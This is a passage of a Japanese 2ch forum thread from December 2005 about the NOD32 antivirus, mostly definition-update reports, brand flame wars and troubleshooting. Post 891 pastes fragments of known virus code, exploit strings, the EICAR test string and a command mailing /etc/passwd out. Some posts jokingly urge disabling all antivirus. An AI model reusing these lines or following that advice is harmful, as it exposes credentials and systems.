864 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:18:26
もうすぐクリスマスだからって小分けにして何回も定義更新するなよ。
と、更新分を見てたら最近Win32/Lovsanが結構あるな。なにこれ。今更ブラスターの亜種に対応したってこと?
自動対応だからってちょっと間抜けすぎないか。

865 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:27:14
ノートンみたいな糞なもん使ってる馬鹿は死ねやww

866 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:28:10
>>864
NODの正体見たりって感じだよねw

867 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:28:29
>>862
ノートンよりましwwwwwwwwwww

反論出来るか?wwwwwwwwww

868 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:32:28
>>856
はぁ??

ノートンが良いソフトなわけねーだろw
知名度が高いだけw
中身はショボショボの激重www

馬鹿はババアのおっぱいでもしゃぶってろやww

869 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:33:24
>>867
具体的な指摘が無ければ意見にすらならないね
それに私はNODの絶対評価をしてるのであって、相対評価などしていない

870 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:34:53
>>868
知名度が高いって事は優秀な何よりの証拠
NODはなんで知名度低いの?
優秀だって言うならもっと売れてもいいんじゃない?

871 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:35:10
>>869
てめーの評価なんか誰も聞いてねーんだよカス
馬鹿は消えなw

872 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:37:09
>>871
具体的な反論ができないとすぐに罵倒してお茶を濁すのか
NOD厨もたかが知れてるね
これで他のソフトのユーザーより知識が豊富だって言うんだから笑っちゃうよ

873 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:38:25
>>870
宣伝の結果だな
そんなこともわからんのか猿
市場の原理をもう少し勉強したら?ww


874 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:39:04
>>872
ノートンよりマシ

ほれ反論してみろやw

875 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:41:15
何度も書くが ノートンなんて相手にもならん
ずーーっとノートン使ってたから判るあの重さ・・・ 


ウィルス=ノートン

876 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:42:39
AthlonXP2500、RAM1.5G
ノートン、ウィルスバスター、NOD32と試してきたけど、どれも重さはそんなに感じなかったけどな。
ノートンは言われてみればそうかもなぁとは思うが、言われなきゃそんなに気にしなかったと思う。


877 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:51:21
実際マカフィーとバスターは軽い。マカフィーの検査速度は時としてNODを超えるらしいし(VBによると)。
ただノートンは知らん。あれはインストールの時点ですでにやたら時間食うしな・・・正直あんま入れたくはない。

878 :名無しさん@お腹いっぱい。:2005/12/23(金) 08:51:24
そりゃ何もしてなければねえ
X2使って、ながら作業が当たり前になるとよくわかる

879 :名無しさん@お腹いっぱい。:2005/12/23(金) 11:44:39
馬鹿フィーが軽いわけねえだろ

880 :名無しさん@お腹いっぱい。:2005/12/23(金) 11:49:49
サーバーが繋がらない。

881 :名無しさん@お腹いっぱい。:2005/12/23(金) 11:54:29
1.1335 (20051222)


882 :名無しさん@お腹いっぱい。:2005/12/23(金) 12:04:34
>>880
うp立てサーバーu4.eset.comに固定しる。

883 :名無しさん@お腹いっぱい。:2005/12/23(金) 12:55:43
>>875
ずっとノートンをデフォルト設定で使ってたという馬鹿宣言はしなくていい。

884 :名無しさん@お腹いっぱい。:2005/12/23(金) 13:57:00
つまりノートンはバカってことですね

885 :名無しさん@お腹いっぱい。:2005/12/23(金) 14:17:10
>>862
>アンチウイルス単体なんて今時貧弱すぎ
>スパイウエアに弱い

NISみたいな総合的なセキュリティソフトの方が売れるのは当然だけど、NOD32はアンチウィルスなんだから
そもそもカテゴリから外れる上記の二つを悪い点に挙げるのは見当違い。他は同意。
でも良いか悪いかは悪い点だけ見ても判断できなくて、>>867みたいにいきなりNAVと比較出来るとは思えない。
軽いとか常駐の負担が少ないとか良い点があるから俺は買ったよ。

886 :名無しさん@お腹いっぱい。:2005/12/23(金) 14:52:19
>>885
最後の1行だけでいい



887 :名無しさん@お腹いっぱい。:2005/12/23(金) 15:25:39
たかがPCソフトのことで罵り合ってバカみたい。
自分に合ったやつを使うだけじゃん。
なんでノートン使用者はわざわざこのスレに来て罵倒してるんだ?

888 :名無しさん@お腹いっぱい。:2005/12/23(金) 15:37:47
>>887
それはマジレスですか
それともマッチポンプですか?


889 :名無しさん@お腹いっぱい。:2005/12/23(金) 15:44:23
>>887
せっかく金出して買ったのに重くて辛いから。

八つ当たりってやつ

890 :名無しさん@お腹いっぱい。:2005/12/23(金) 16:04:11
>>887
暇だから
馬鹿だから

891 :名無しさん@お腹いっぱい。:2005/12/23(金) 16:04:57
脳豚来ないでね
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

892 :名無しさん@お腹いっぱい。:2005/12/23(金) 16:20:13
>>891
ウエルス貼るんじゃねーよ!警告出てフリーズしたぞ!
PCがおかしくなったら訴えるからな!!

893 :名無しさん@お腹いっぱい。:2005/12/23(金) 16:33:52
>>891
あれ??
NOD32反応しなかった(´・ω・`)
Nortonだけ?

894 :名無しさん@お腹いっぱい。:2005/12/23(金) 16:36:04
>>891
バカにしか見えないウィルス

895 :名無しさん@お腹いっぱい。:2005/12/23(金) 16:58:13
>>887
意識しまくってるのはNOD厨wwwwwwwwwwwwwwwww

896 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:00:38
つかさ、アンチウイルスに金払ってるやつって馬鹿でしょ
スキル無いのバレバレじゃんw

897 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:03:51
>>892
わざとらし過ぎ


898 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:08:59
はじめてNOD使ってみたけど更新多いね。
びっくりしたよ。

899 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:09:04
スキルwwwwwwwwwwwwwwww

900 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:11:25
スキルっておまwwwwwww
パケット全部チェックしてウィルスを手動除去するんじゃねーのwww

901 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:11:33
>>898
全然おおくねーよ
カスペはもちろん、今時のフリーと比べてもおおくねえし

902 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:11:47
つかさ、アンチウイルス割るやつって馬鹿でしょ
金無いのバレバレじゃんw

903 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:11:49
世界平和とは対抗しないこと。
あなたのパソコンはアンチウイルスソフトがあるから攻撃されるのです。
防衛は戦争なのです。


大津市のように 『無防備宣言』 をすべきです。
すべてのウイルス対策を無効にして
どんなウイルスでも自由に感染できるようにする。
この心掛けがとても重要なのです。
国際化のためにも寛大に受け入れる姿勢が
重要なのです。


これが世界平和へと通じるのです。


さあ、
みなさんも平和を愛するのであれば
今すぐアンチウイルスソフトを無効にしましょう。
世界平和のために。


904 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:12:25
ついでに家の鍵も開けておいてね

905 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:16:26
今日も沸いてきたようだな

906 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:17:12
>>904
そうです。
鍵こそが戦争の根源なのです。
鍵は相手を疑うことにつながります。
鍵が掛けられていれば相手は「受け入れられなかった」と恨むようになります。

つまり鍵は
相手を疑い、相手を恨む 争いの元凶なのです。

つまり
世界平和とは
世界から鍵という概念をなくすことにあります。

ですから
あなたが世界平和を愛するのであれば
今すぐすべての家の鍵を開けっぱなしにしておくことです。

無論ネットでも
すべての暗号鍵を使用してはいけません。

907 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:20:16
セキュリティ対策を一切しない、
平和のための無防備。

セキュリティフリー が2006年のキーワードです。

 

908 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:20:38
>>903
おまいは、キャシャーンのの第14話を100回ぐらいミロと
退屈だったのでなんとなく反応してみる

909 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:28:26
20日頃から出回りだしたBagleの亜種も、
定義ファイルの更新無しで捕まえたそうだな。
凄すぎるなNOD32って。

これじゃ他社の工作員が荒らしたくなるのもよく分かるよ。
ここまでNOD32との性能差があるのがばれたら、
自社製品が全く売れなくなっちゃうもんな。

910 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:35:54
どうでもいいようなこといつまでもグダグダと・・・
ほんと、ウマシカばっか!ちっとは学習しろ!

911 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:36:55
 ̄ ̄ ̄ ̄ ̄ ̄ ̄|/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          In_п@ 
        ⊂(@ε@-)つ、 -3  
      //(雑音/_/::::|   
      |:::|/⊂ヽ ノ|:::| /」      
    / ̄ ̄旦 ̄ ̄ ̄/|            
  /______/ .| |
  | |-----------| |

912 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:39:22
NOD使うのやめます。
本当にありがとうございました。

913 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:47:24
>>912
ここは雑音が立てた雑音オナニースレなので、他も見てから決めても遅くないよ。

雑音とは

【動機は?】雑音犬畜生Part34【\6kの高級ケースマダ?】
http://tmp5.2ch.net/test/read.cgi/tubo/1130566010/

914 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:51:28
>>913
そうだったのか・・・
他もみてみるわ、ありがd


915 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:52:03
まんせー

916 :名無しさん@お腹いっぱい。:2005/12/23(金) 17:52:27
スマン、あげちまった。

917 :名無しさん@お腹いっぱい。:2005/12/23(金) 23:21:18
>>882

入れなおして繋がるようになりました。
サンクス!!


918 :851:2005/12/23(金) 23:24:26
やっぱりCPUが常時高めになる
タスクを確認してNODが原因である事は間違いない
おかしくなったのはアップデートしたあたりから
今はアンインスコして直ったが・・・
どうなってんだよ、おい

919 :名無しさん@お腹いっぱい。:2005/12/24(土) 00:07:06
ニュース速報キター!
見とけ明日は我が身かもよ
ttp://news19.2ch.net/test/read.cgi/newsplus/1135346554/

920 :名無しさん@お腹いっぱい。:2005/12/24(土) 00:26:13
おれのPCでも918と同じくCPU占有率が高い。

921 :名無しさん@お腹いっぱい。:2005/12/24(土) 00:31:21
CPU占有率が高いと騒ぐ前に、少しは自分で原因を調べろって

可能性として
1)AMONの干渉 これはコントロールセンター開いて眺めてれば直ぐに分かる。
2)UPDATE処理を繰り返している これもコントロールセンター開いて眺めてれば直ぐに分かる。

簡単だろ?

922 :名無しさん@お腹いっぱい。:2005/12/24(土) 00:33:49
    ∧__∧
    (`・ω・´)  NOD32最高
   .ノ^ yヽ、  
   ヽ,,ノ==l ノ       
    /  l |

923 :名無しさん@お腹いっぱい。:2005/12/24(土) 01:07:58
1.1336(20051223)

924 :名無しさん@お腹いっぱい。:2005/12/24(土) 01:18:10
まだ1.1335だよ。canon


925 :名無しさん@お腹いっぱい。:2005/12/24(土) 01:51:28
>>924
>>882

926 :名無しさん@お腹いっぱい。:2005/12/24(土) 02:09:09
CANON

NOD32の情報
バージョン:1.1336 (20051223)
日付:2005年12月23日
ウイルス定義ファイルビルド:6501

他のスキャナサポートに関する情報
アーカイブサポートバージョン:1.040 (20051222)
アーカイブサポートビルド:1142

927 :名無しさん@お腹いっぱい。:2005/12/24(土) 06:40:15
__( 'A`)_  
  |E三( ヽ/)三l|  V3 ウイルスブロック2006最強 NOW ON SALE・・・
  |jY===)=)tr=l


928 :名無しさん@お腹いっぱい。:2005/12/24(土) 06:45:07
フリーでいいじゃん
コンナノニ金払う馬鹿?

929 :名無しさん@お腹いっぱい。:2005/12/24(土) 07:28:05
>>921
なんでそんな不具合がおこるんだよ

930 :名無しさん@お腹いっぱい。:2005/12/24(土) 07:49:15
NOD32って、メジャーバージョンアップの時は別料金?
それとも、年間更新料さえ払ってればタダ?

931 :名無しさん@お腹いっぱい。:2005/12/24(土) 08:26:34
NOD32の情報
バージョン:1.1337 (20051223)
日付:2005年12月23日
ウイルス定義ファイルビルド:6504

932 :名無しさん@お腹いっぱい。:2005/12/24(土) 08:32:12
NOD32の情報
バージョン:1.1338 (20051223)
日付:2005年12月23日
ウイルス定義ファイルビルド:6507

933 :名無しさん@お腹いっぱい。:2005/12/24(土) 09:34:02
>>930
アップデート込みの年間更新料

934 :名無しさん@お腹いっぱい。:2005/12/24(土) 14:38:45
>>933
嘘つくなボケ
v1からv2の更新はただだったか?
おい

935 :名無しさん@お腹いっぱい。:2005/12/24(土) 15:06:26
だだだだ?

936 :名無しさん@お腹いっぱい。:2005/12/24(土) 15:57:06
早く答えろ

937 :名無しさん@お腹いっぱい。:2005/12/24(土) 16:54:42
ほんっとすごく軽くていいね。

938 :名無しさん@お腹いっぱい。:2005/12/24(土) 17:33:45
フィッシングサイトで更新料を払った>>934=936のスレはここでつか?

939 :名無しさん@お腹いっぱい。:2005/12/24(土) 17:50:37
>>934
え、有償だと思っているの?

940 :名無しさん@お腹いっぱい。:2005/12/24(土) 18:15:53
.


941 :名無しさん@お腹いっぱい。:2005/12/24(土) 18:37:58
>>934
え、有償だと思っているの?
マジで!?
ウッソー!!

942 :名無しさん@お腹いっぱい。:2005/12/24(土) 18:51:53
NODはフィッシング詐欺にはまるで無力だからなw

943 :名無しさん@お腹いっぱい。:2005/12/24(土) 18:53:18
んなヤラシイとこばっかいってんなよw

944 :名無しさん@お腹いっぱい。:2005/12/24(土) 18:54:26
パンダとNOD32どっちかおうか迷ってます・・・・・・・・・・・・・

945 :名無しさん@お腹いっぱい。:2005/12/24(土) 19:34:12
パンダwwww!

946 :名無しさん@お腹いっぱい。:2005/12/24(土) 19:34:43
今の旬はノートン

947 :名無しさん@お腹いっぱい。:2005/12/24(土) 19:44:24
>>944
パンダとは本来レッサーパンダのことを言うんだよ。

948 :名無しさん@お腹いっぱい。:2005/12/24(土) 19:54:38
>>942
フィッシング詐欺のメールには反応したぞ

949 :名無しさん@お腹いっぱい。:2005/12/24(土) 21:06:34
私はパンダ愛用してますが全く不具合等みられません

ズバリ頼もしい存在のソフトです

950 :名無しさん@お腹いっぱい。:2005/12/24(土) 21:20:52
ふーん。

951 :名無しさん@お腹いっぱい。:2005/12/24(土) 21:48:47
まぁ確かに実際フィッシングサイト自体には対応していないな。
対応してなくても別に構わんけど。
>>948
そりゃメールに反応したんじゃなくて添付されたウイルスに反応したんだろう。

952 :名無しさん@お腹いっぱい。:2005/12/24(土) 22:23:21
>>951
どうでもいい問題だが一応

>そりゃメールに反応したんじゃなくて添付されたウイルスに反応したんだろう。
よく来るeBayを騙ったメールだったが添付ファイルはないはず。
メールごと削除されたが、
添付ファイルに反応した場合は添付ファイルを削除するだけじゃないのか?



953 :名無しさん@お腹いっぱい。:2005/12/24(土) 22:29:33
削除されたんならそれは削除されてもいいメールってこった

954 :名無しさん@お腹いっぱい。:2005/12/24(土) 22:30:54
馬鹿なレスだな

955 :名無しさん@お腹いっぱい。:2005/12/24(土) 22:41:02
スレ自体が馬鹿だから

956 :名無しさん@お腹いっぱい。:2005/12/25(日) 00:40:22
NODはどこがいいの?

957 :名無しさん@お腹いっぱい。:2005/12/25(日) 00:41:49
全てが。

958 :名無しさん@お腹いっぱい。:2005/12/25(日) 00:56:40
全てが馬鹿。

959 :名無しさん@お腹いっぱい。:2005/12/25(日) 01:08:21
つ「大鏡」

960 :名無しさん@お腹いっぱい。:2005/12/25(日) 04:01:54
疲れた。

961 :名無しさん@お腹いっぱい。:2005/12/25(日) 04:05:39
寝ろよ

962 :名無しさん@お腹いっぱい。:2005/12/25(日) 04:36:06
おぉー、メールが燃えてる
このところ毎日だな。
○irus○otalでは、どこも検出していないけど
これ誤検出かな?
添付がxmas.zipでNewHeur_PE検出した人ほかにもいない?

963 :名無しさん@お腹いっぱい。:2005/12/25(日) 04:37:05
怪しげなファイルをしっかりと検出できるところが凄いな。

964 :名無しさん@お腹いっぱい。:2005/12/25(日) 04:38:03
>>962
その添付ファイルはなんなんだ?

965 :名無しさん@お腹いっぱい。:2005/12/25(日) 08:22:10
>>962
明らかに臭いファイル名だなw

966 :名無しさん@お腹いっぱい。:2005/12/25(日) 08:32:40
>>962

■感染ルート
・nyあるいはそれ以外の方法でサイズ829,440の「新しいフォルダ      .exe」を踏んで感染。
・セキュリティレベルが低いと同梱htmlで作動させ感染。
■主な症状(感染確認方法)
・C:\WINDOWS\system32\drivers\svchost.exe
 C:\WINDOWS\system32\wbem\     .exeを作成。
・C:\Documents and Settings\ユーザー名\Local Settings\Temp\jktemp\upにupフォルダ作成される。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 にsvchost.exeが登録される。

自分で確認してみろ

967 :名無しさん@お腹いっぱい。:2005/12/25(日) 08:43:36
1.1339 (20051224)

968 :名無しさん@お腹いっぱい。:2005/12/25(日) 11:06:32
        ,:::-、       __
      ,,r   〈:::::::::)    ィ::::::ヽ
      〃   ,::::;r‐'´       ヽ::ノ
    ,'::;'   /::/  __
     l:::l   l::::l /:::::)   ,:::::、  ji
    |::::ヽ j::::l、ゝ‐′  ゙:;;:ノ ,j:l
    }:::::::ヽ!::::::::ゝ、 <:::.ァ __ノ::;!
.    {::::::::::::::::::::::::::::`='=‐'´:::::::::/
    ';::::::::::::ト、::::::::::::::i^i::::::::::::/
      `ー--' ヽ:::::::::::l l;;;;::::ノ
          `ー-"


969 :名無しさん@お腹いっぱい。:2005/12/25(日) 13:10:08
誤検出キタコレ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

970 :名無しさん@お腹いっぱい。:2005/12/25(日) 14:13:28
>>969
おお、何で来た?

971 :名無しさん@お腹いっぱい。:2005/12/25(日) 16:30:41
誤検出!

972 :名無しさん@お腹いっぱい。:2005/12/25(日) 16:45:29
田舎だから近所で全然売ってないよ。
ノートンとかバスターばっかり。

しょうがないからVectorで買うか。通販だと送料必要だし…

973 :名無しさん@お腹いっぱい。:2005/12/25(日) 16:48:06
Amazonとか使えば

974 :名無しさん@お腹いっぱい。:2005/12/25(日) 17:01:03
>>971
何を誤検出したか詳しく

975 :名無しさん@お腹いっぱい。:2005/12/25(日) 17:04:11
>>974
>>962

976 :名無しさん@お腹いっぱい。:2005/12/25(日) 17:24:18
>>975
誤検出である説明が不足、詳しく

977 :名無しさん@お腹いっぱい。:2005/12/25(日) 17:28:37
すげーSpyaxeも検出できるんだな。
アンチスパイですら検出できないのが多いのに。

やっぱりNOD32は他の物とは次元が違うんだな。
それがはっきり分かったよ。

978 :名無しさん@お腹いっぱい。:2005/12/25(日) 17:50:46
>>966
いや、・・・メールなんだけどね
nyはやってないので。
レジストリ見たけど、認識しているものしかないようだから
検出しただけで感染はしていないみたい。

>>975, >>976
誤検出かどうかなんてわかんないよ。ただ1週間くらい前から
毎日2,3通来ているけど、ほかのどのベンダーも検出しない
みたいだから誤検出かなって。
とりあえず、さっきThreadSenseで報告しておきました。

添付のZIPを解凍してみたけど、バイナリでみるとマジックコード
があるから実行形式ではあると思う。
解凍後のファイルサイズ:24,178byte

979 :名無しさん@お腹いっぱい。:2005/12/25(日) 18:02:49
>>978
解凍後のファイルは何個出てきました?
解凍後のファイル名はなに?

980 :名無しさん@お腹いっぱい。:2005/12/25(日) 18:03:58
見てみたいな
どっかパス付きのうpろだにでも上げてもらえないだろうか

981 :名無しさん@お腹いっぱい。:2005/12/25(日) 23:29:15
NODスレはスレの消費が早いな。
それだけ人気があるって証なんだろうけど。

982 :名無しさん@お腹いっぱい。:2005/12/25(日) 23:32:51
妬みカキコが多いからな

983 :名無しさん@お腹いっぱい。:2005/12/25(日) 23:33:34
  ('A`('-`('д`('_` )  微妙なレスしかできないなら返さなきゃいいのに…
  ノ ノノ ノノ ノ) ノ|
  「「 「「 「 「 「 「   お前のカキコイラネっつの

984 :名無しさん@お腹いっぱい。:2005/12/25(日) 23:35:08
自演乙

985 :名無しさん@お腹いっぱい。:2005/12/25(日) 23:36:37
このスレの98.3%は自演でできています。

986 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:16:14
ID表示になった途端に衰える勢いが楽しみ

987 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:32:30
>>986
単独IDが増えるだけ。

988 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:35:14
強制IPの方がいいね

989 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:56:14
fusianasanワロスw

990 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:57:45
990

991 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:58:42
さぁ、1000も取れたから寝るわ

992 :名無しさん@お腹いっぱい。:2005/12/26(月) 00:59:39
その前に誰か次スレよろ

993 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:02:09
http://pc8.2ch.net/test/read.cgi/sec/1135404722/
次スレ

994 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:04:56



995 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:05:18



996 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:05:41



997 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:06:21
おおお!初めて2ちゃんねるにきました!!
いろんなジャンルがあるんですね!

998 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:09:13
>>997
ついでに1000GET!挑戦してねw

999 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:10:54
1000だとなにかあるんですか?

1000 :名無しさん@お腹いっぱい。:2005/12/26(月) 01:11:11
1000

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

227 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)